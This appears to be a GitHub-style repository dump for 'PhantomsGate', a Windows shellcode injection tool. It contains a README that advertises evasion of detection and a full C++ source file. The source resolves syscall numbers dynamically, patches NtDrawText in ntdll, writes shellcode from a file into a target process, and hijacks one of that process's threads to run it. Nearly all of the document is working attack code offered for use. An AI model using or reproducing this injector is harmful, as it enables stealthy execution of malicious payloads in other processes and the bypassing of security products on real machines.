├── PhantomsGate ├── PhantomsGate.vcxproj.user ├── PhantomsGate.vcxproj.filters ├── PhantomsGate.vcxproj └── PhantomsGate.cpp ├── PhantomsGate.sln └── README.md /PhantomsGate/PhantomsGate.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /PhantomsGate/PhantomsGate.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /PhantomsGate.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33530.505 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LiesGate5", "LiesGate5\LiesGate5.vcxproj", "{E4D62920-BC79-4896-8604-36812C6690CE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x64.ActiveCfg = Debug|x64 17 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x64.Build.0 = Debug|x64 18 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x86.ActiveCfg = Debug|Win32 19 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x86.Build.0 = Debug|Win32 20 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x64.ActiveCfg = Release|x64 21 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x64.Build.0 = Release|x64 22 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x86.ActiveCfg = Release|Win32 23 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3444F8E3-0F6B-4259-8000-A5EE3FED909F} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PhantomsGate: Advanced Shellcode Injection Technique 2 | 3 | ## Introduction 4 | 5 | PhantomsGate is a sophisticated shellcode injection technique that leverages Hell's Gate to dynamically find syscall numbers, modifies system calls, and uses thread hijacking to inject and execute shellcode within a target process. This technique is designed to evade detection and bypass security mechanisms by dynamically resolving syscall numbers and executing shellcode in the context of existing threads. 6 | 7 | ## PhantomGate: Enhanced LiesGate Technique 8 | 9 | PhantomGate is an improvement over LiesGate, adding the ability to dynamically modify functions to use different syscall numbers, set hardware breakpoints, and update registers. This enhanced method provides additional stealth and flexibility, making it even more effective in evading detection. 10 | 11 | ## Features 12 | 13 | - **Dynamic Syscall Resolution (Hell's Gate)**: Finds syscall numbers dynamically by analyzing function bytes in `ntdll.dll`. 14 | - **Function Modification**: Modifies functions to use different syscall numbers. 15 | - **Thread Hijacking**: Suspends and resumes threads to execute shellcode. 16 | - **Hardware Breakpoints**: Sets hardware breakpoints on functions for additional control. 17 | - **Register Updates**: Updates registers and continues execution seamlessly. 18 | 19 | ## Requirements 20 | 21 | - Windows OS 22 | - Visual Studio or a compatible C++ compiler 23 | - Administrative privileges for process and thread manipulation 24 | 25 | ## How It Works 26 | 27 | 1. **Dynamic Syscall Resolution**: The `FindSyscallNumber` function parses the bytes of a function in `ntdll.dll` to find the syscall number. 28 | 2. **Function Modification**: The `ModifyFunctionToSyscall` function modifies the first few bytes of a function to directly invoke a syscall with a specified syscall number. 29 | 3. **Loading Shellcode**: Shellcode is read from a binary file and written into the target process's memory. 30 | 4. **Memory Protection**: Changes the memory protection of the allocated shellcode region to `PAGE_EXECUTE_READ`. 31 | 5. **Thread Hijacking**: Takes a snapshot of the target process's threads, finds a thread, suspends it, modifies its context to point to the shellcode, and resumes it. 32 | 6. **Hardware Breakpoints**: Sets a hardware breakpoint on the modified function for additional control. 33 | 34 | ## Usage 35 | 36 | 1. **Compile the Code**: Use Visual Studio or a compatible C++ compiler to compile the code. 37 | 2. **Run the Program**: Execute the compiled binary with administrative privileges, specifying the target process ID and the shellcode file. 38 | 39 | ## License 40 | 41 | This project is licensed under the MIT License. 42 | 43 | ### Based Techniques On 44 | 1. LiesGate Implementation [https://github.com/CyberSecurityUP/LiesGate] 45 | 2. MutationsGate Implementation [https://github.com/senzee1984/MutationGate] 46 | 3. HellsGate [https://github.com/am0nsec/HellsGate] 47 | -------------------------------------------------------------------------------- /PhantomsGate/PhantomsGate.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {e4d62920-bc79-4896-8604-36812c6690ce} 25 | LiesGate5 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /PhantomsGate/PhantomsGate.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include // Added for thread snapshot functions 8 | 9 | // Ensure these are not redefined 10 | #undef _PEB 11 | #undef _PROCESS_BASIC_INFORMATION 12 | #undef _OSVERSIONINFOEXW 13 | 14 | typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)( 15 | HANDLE ProcessHandle, 16 | PROCESSINFOCLASS ProcessInformationClass, 17 | PVOID ProcessInformation, 18 | ULONG ProcessInformationLength, 19 | PULONG ReturnLength 20 | ); 21 | 22 | typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)( 23 | HANDLE ProcessHandle, 24 | PVOID* BaseAddress, 25 | PSIZE_T RegionSize, 26 | ULONG NewProtect, 27 | PULONG OldProtect 28 | ); 29 | 30 | // Function to find the syscall number using Hell's Gate 31 | DWORD FindSyscallNumber(LPCSTR functionName) { 32 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 33 | FARPROC funcAddr = GetProcAddress(hNtdll, functionName); 34 | BYTE* pFunction = (BYTE*)funcAddr; 35 | 36 | for (int i = 0; i < 0x20; i++) { 37 | if (pFunction[i] == 0x0F && pFunction[i + 1] == 0x05) { // Look for "syscall" 38 | DWORD ssn = *(DWORD*)(pFunction + i - 4); // The syscall number is 4 bytes before 39 | return ssn; 40 | } 41 | } 42 | return 0; 43 | } 44 | 45 | bool ModifyFunctionToSyscall(DWORD ssn, FARPROC funcAddr) { 46 | BYTE* pFunction = reinterpret_cast(funcAddr); 47 | DWORD oldProtect; 48 | 49 | if (VirtualProtect(pFunction, 10, PAGE_READWRITE, &oldProtect)) { 50 | pFunction[0] = 0xB8; 51 | *reinterpret_cast(&pFunction[1]) = ssn; 52 | pFunction[5] = 0x0F; 53 | pFunction[6] = 0x05; 54 | pFunction[7] = 0xC3; 55 | 56 | VirtualProtect(pFunction, 10, PAGE_EXECUTE_READ, &oldProtect); 57 | return true; 58 | } 59 | return false; 60 | } 61 | 62 | bool VerifyModification(FARPROC funcAddr, DWORD expectedSSN) { 63 | BYTE* pFunction = reinterpret_cast(funcAddr); 64 | DWORD ssn = *reinterpret_cast(&pFunction[1]); 65 | return pFunction[0] == 0xB8 && ssn == expectedSSN; 66 | } 67 | 68 | DWORD GetCurrentSSN(FARPROC funcAddr) { 69 | BYTE* pFunction = reinterpret_cast(funcAddr); 70 | return *reinterpret_cast(&pFunction[1]); 71 | } 72 | 73 | void SetHardwareBreakpoint(FARPROC funcAddr, DWORD registerIndex) { 74 | CONTEXT ctx = {}; 75 | ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 76 | 77 | HANDLE hThread = GetCurrentThread(); 78 | GetThreadContext(hThread, &ctx); 79 | 80 | (&ctx.Dr0)[registerIndex] = (DWORD_PTR)funcAddr; 81 | 82 | ctx.Dr7 |= (1 << (2 * registerIndex)); 83 | 84 | SetThreadContext(hThread, &ctx); 85 | } 86 | 87 | void UpdateRAXandContinue(FARPROC funcAddr, DWORD newSSN) { 88 | CONTEXT ctx = {}; 89 | ctx.ContextFlags = CONTEXT_CONTROL; 90 | 91 | HANDLE hThread = GetCurrentThread(); 92 | GetThreadContext(hThread, &ctx); 93 | 94 | ctx.Rax = newSSN; 95 | 96 | ctx.Rip = (DWORD_PTR)funcAddr + 0x8; 97 | 98 | SetThreadContext(hThread, &ctx); 99 | } 100 | 101 | int main() { 102 | DWORD targetPID = 1608; // Replace with the PID of the process you want to inject 103 | 104 | // Using Hell's Gate to find the SSN of NtAllocateVirtualMemory 105 | DWORD ssnNtAllocateVirtualMemory = FindSyscallNumber("NtAllocateVirtualMemory"); 106 | DWORD ssnNtDrawText = FindSyscallNumber("NtDrawText"); 107 | 108 | std::cout << "SSN of NtAllocateVirtualMemory: " << ssnNtAllocateVirtualMemory << std::endl; 109 | std::cout << "SSN of NtDrawText: " << ssnNtDrawText << std::endl; 110 | 111 | FARPROC addrNtDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText"); 112 | std::cout << "Address of NtDrawText: " << addrNtDrawText << std::endl; 113 | 114 | if (addrNtDrawText != nullptr) { 115 | if (ModifyFunctionToSyscall(ssnNtAllocateVirtualMemory, addrNtDrawText) && 116 | VerifyModification(addrNtDrawText, ssnNtAllocateVirtualMemory)) { 117 | std::cout << "NtDrawText was successfully modified to use the SSN of NtAllocateVirtualMemory!" << std::endl; 118 | DWORD currentSSN = GetCurrentSSN(addrNtDrawText); 119 | std::cout << "The new SSN of NtDrawText is: " << currentSSN << std::endl; 120 | } 121 | else { 122 | std::cout << "Failed to modify NtDrawText to use the SSN of NtAllocateVirtualMemory" << std::endl; 123 | } 124 | } 125 | 126 | // Load shellcode from a file 127 | std::ifstream shellcodeFile("loader.bin", std::ios::binary | std::ios::ate); 128 | if (!shellcodeFile.is_open()) { 129 | std::cerr << "Failed to open shellcode file." << std::endl; 130 | return 1; 131 | } 132 | 133 | std::streamsize fileSize = shellcodeFile.tellg(); 134 | shellcodeFile.seekg(0, std::ios::beg); 135 | 136 | std::vector shellcode(fileSize); 137 | if (!shellcodeFile.read(shellcode.data(), fileSize)) { 138 | std::cerr << "Failed to read the shellcode from file." << std::endl; 139 | return 1; 140 | } 141 | 142 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 143 | typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory)( 144 | HANDLE ProcessHandle, 145 | PVOID* BaseAddress, 146 | ULONG_PTR ZeroBits, 147 | PSIZE_T RegionSize, 148 | ULONG AllocationType, 149 | ULONG Protect 150 | ); 151 | 152 | typedef NTSTATUS(NTAPI* pfnNtProtectVirtualMemory)( 153 | HANDLE ProcessHandle, 154 | PVOID* BaseAddress, 155 | PSIZE_T RegionSize, 156 | ULONG NewProtect, 157 | PULONG OldProtect 158 | ); 159 | 160 | pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); 161 | pfnNtProtectVirtualMemory NtProtectVirtualMemory = (pfnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory"); 162 | 163 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); 164 | if (hProcess == NULL) { 165 | std::cerr << "Failed to open process: " << GetLastError() << std::endl; 166 | return 1; 167 | } 168 | 169 | PVOID remoteMemory = nullptr; 170 | SIZE_T shellcodeSize = shellcode.size(); 171 | NTSTATUS allocStatus = NtAllocateVirtualMemory(hProcess, &remoteMemory, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 172 | 173 | if (allocStatus != STATUS_SUCCESS) { 174 | std::cerr << "Memory allocation failed: " << allocStatus << std::endl; 175 | CloseHandle(hProcess); 176 | return 1; 177 | } 178 | 179 | SIZE_T written; 180 | if (!WriteProcessMemory(hProcess, remoteMemory, shellcode.data(), shellcodeSize, &written)) { 181 | std::cerr << "Failed to write shellcode: " << GetLastError() << std::endl; 182 | CloseHandle(hProcess); 183 | return 1; 184 | } 185 | 186 | DWORD oldProtect; 187 | NTSTATUS protectStatus = NtProtectVirtualMemory(hProcess, &remoteMemory, &shellcodeSize, PAGE_EXECUTE_READ, &oldProtect); 188 | if (protectStatus != STATUS_SUCCESS) { 189 | std::cerr << "Failed to change memory protection: " << protectStatus << std::endl; 190 | CloseHandle(hProcess); 191 | return 1; 192 | } 193 | 194 | HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 195 | if (hThreadSnap == INVALID_HANDLE_VALUE) { 196 | std::cerr << "CreateToolhelp32Snapshot (of threads) failed" << std::endl; 197 | return 1; 198 | } 199 | 200 | THREADENTRY32 te32; 201 | te32.dwSize = sizeof(THREADENTRY32); 202 | 203 | if (!Thread32First(hThreadSnap, &te32)) { 204 | std::cerr << "Thread32First failed" << std::endl; 205 | CloseHandle(hThreadSnap); 206 | return 1; 207 | } 208 | 209 | HANDLE hThread = NULL; 210 | do { 211 | if (te32.th32OwnerProcessID == targetPID) { 212 | hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); 213 | if (hThread) break; 214 | } 215 | } while (Thread32Next(hThreadSnap, &te32)); 216 | 217 | CloseHandle(hThreadSnap); 218 | 219 | if (hThread == NULL) { 220 | std::cerr << "Failed to open thread" << std::endl; 221 | CloseHandle(hProcess); 222 | return 1; 223 | } 224 | 225 | SuspendThread(hThread); 226 | 227 | CONTEXT ctx; 228 | ctx.ContextFlags = CONTEXT_FULL; 229 | GetThreadContext(hThread, &ctx); 230 | 231 | ctx.Rip = (DWORD_PTR)remoteMemory; 232 | 233 | SetThreadContext(hThread, &ctx); 234 | ResumeThread(hThread); 235 | 236 | WaitForSingleObject(hThread, INFINITE); 237 | CloseHandle(hProcess); 238 | CloseHandle(hThread); 239 | 240 | if (addrNtDrawText != nullptr) { 241 | if (ModifyFunctionToSyscall(ssnNtAllocateVirtualMemory, addrNtDrawText) && 242 | VerifyModification(addrNtDrawText, ssnNtAllocateVirtualMemory)) { 243 | DWORD currentSSN = GetCurrentSSN(addrNtDrawText); 244 | std::cout << "The new SSN of NtDrawText is: " << currentSSN << std::endl; 245 | std::cout << "NtDrawText was successfully modified to use the SSN of NtAllocateVirtualMemory!" << std::endl; 246 | SetHardwareBreakpoint(addrNtDrawText, 0); 247 | typedef void (*FuncType)(); 248 | FuncType callNtDrawText = (FuncType)addrNtDrawText; 249 | callNtDrawText(); 250 | 251 | UpdateRAXandContinue(addrNtDrawText, ssnNtAllocateVirtualMemory); 252 | } 253 | else { 254 | std::cout << "Failed to modify NtDrawText." << std::endl; 255 | } 256 | } 257 | 258 | return 0; 259 | } 260 | --------------------------------------------------------------------------------